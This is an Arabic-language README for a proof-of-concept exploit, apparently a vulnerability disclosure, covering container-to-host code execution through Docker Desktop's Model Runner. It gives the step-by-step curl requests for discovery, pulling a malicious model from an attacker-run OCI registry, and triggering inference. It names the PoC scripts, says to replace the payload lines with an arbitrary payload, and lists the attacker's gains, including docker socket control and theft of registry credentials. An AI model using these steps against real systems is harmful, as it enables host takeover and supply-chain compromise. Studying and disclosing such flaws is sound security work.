
RCE / هروب من الحاوية إلى المضيف في Docker Model Runner: ثغرة أمنية حرجة تتيح تنفيذ التعليمات البرمجية من الحاوية إلى المضيف في الواجهة الخلفية للاستدلال MLX / SGLANG / VLLM الخاصة بـ Docker Model Runner.
يمكن لأي حاوية تعمل على مضيف Docker Desktop (من 4.40.0 إلى 4.67.x) تشغيل كود على المضيف باستخدام طلبَي HTTP فقط. دون ربط مقبس (socket mount)، ودون --privileged، ودون صلاحيات (caps).
يمكن لأي حاوية الوصول إلى Model Runner على العنوان model-runner.docker.internal دون مصادقة. فهو يسحب النماذج من أي سجل OCI توجّهه إليه ويخزّنها دون التحقق من الـ digests. وتحمّل الخلفيات Python (vLLM وMLX وSGLang) النموذج باستخدام trust_remote_code=True (أو في حالة MLX لا يعترف حتى بـ trust remote code في مدخلات إعداده)، مما يستورد أي ملف .py يشير إليه النموذج في tokenizer_config.json. يعمل ملف .py هذا بصلاحيات مستخدم سطح المكتب.
الوضعية الابتدائية: يمتلك المهاجم قدرة تنفيذ كود داخل أي حاوية على المضيف. مثل صورة قاعدة خبيثة، أو تثبيت npm/pip خبيث في بيئة تطوير، أو عدّاء CI يشغّل كودًا يتحكم به المهاجم، إلخ. دون ربط مقبس Docker، ودون --privileged، ودون صلاحيات إضافية.
استكشاف Model Runner.
curl -sf http://model-runner.docker.internal/api/tags
يعني رمز HTTP 200 أن Model Runner يعمل ويمكن الوصول إليه من هذه الحاوية. لا حاجة لمصادقة ولا إلى ترويسة Origin.
تشغيل سجل OCI خبيث. أي خادم HTTP يطبّق مواصفات توزيع OCI يعمل. يجب أن يكون السجل قابلاً للوصول من المضيف (Model Runner يعمل على المضيف، وليس داخل الحاوية). إمّا أن تستضيفه على الإنترنت العام، أو تشغّله محليًا وتنشر منفذًا (docker-compose.yml يفعل الأخير لهذا الـ PoC). يقدّم السجل نموذج Llama صالحًا بالحد الأدنى حيث يحتوي tokenizer_config.json على auto_map يشير إلى evil_tokenizer.py. evil_tokenizer.py هو الحمولة على المضيف. انظر rce_registry.py.
اجعل Model Runner يسحب من السجل الخاص بك.
curl -X POST http://model-runner.docker.internal/api/pull \
-H 'Content-Type: application/json' \
-d '{"name": "your.registry/evil/model:latest"}'
يقوم Model Runner بتنزيل الـ manifest ثم كل blob ويكتبها في مخزنه على القرص. لا يعاد حساب أي digest أو مقارنته، ولا يوجد فحص توقيعات. النموذج الخبيث مثبَّت الآن.
شغّل الاستدلال (inference) كي يُحمَّل النموذج.
استبدل الأسطر من rce_registry.py:45-105 بحمولة عشوائية.
./run_poc.sh check
./run_poc.sh full
./run_poc.sh test # static analysis only, no Model Runner needed
./run_poc.sh clean
يُكتب دليل الإثبات في /tmp/poc_rce_proof.
rce_registry.py – سجل OCI وهمي، يقدّم نموذج Llama بالحد الأدنى بالإضافة إلى evil_tokenizer.pytest_claims.py – يتحقق من كل ادعاء مقابل المصدر والنظام قيد التشغيلrun_poc.sh – غلاف (wrapper)docker-compose.yml – السجل وحاوية المهاجم غير المميَّزةDockerfile.registry, Dockerfile.attacker – الصورcurl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
يختار Model Runner خلفية Python (vLLM أو MLX أو SGLang) ويشغّلها مع الوسيط --model <bundle_dir> مشيرًا إلى النموذج المخزّن. تستدعي الخلفية AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True). يقرأ Transformers ملف tokenizer_config.json، ويرى auto_map، ثم يستورد evil_tokenizer.py من دليل الحزمة. يُنفَّذ الكود على مستوى الوحدة أثناء الاستيراد.
تُنفَّذ الحمولة على المضيف. تعمل بصلاحيات مستخدم Docker Desktop، خارج أي حاوية، مع وصول كامل لنظام الملفات والشبكة الخاص بالمستخدم. عادةً يفشل الاستدلال نفسه (النموذج صغير جدًا ليعمل فعلًا) لكن ذلك لا يهم، فالاستيراد حدث أولًا.
ماذا يمنح ذلك المهاجم؟
/var/run/docker.sock. التحكم في الخفيّة (daemon): إنشاء حاويات مميَّزة (privileged)، وتركيب نظام ملفات المضيف داخل إحداها، والتنفيذ داخل حاويات أخرى، إلخ.~/.docker/config.json بيانات اعتماد لكل سجل دخول المستخدم إليه. انعطاف في سلسلة التوريد: دفع صور خبيثة إلى أعلى السلسلة.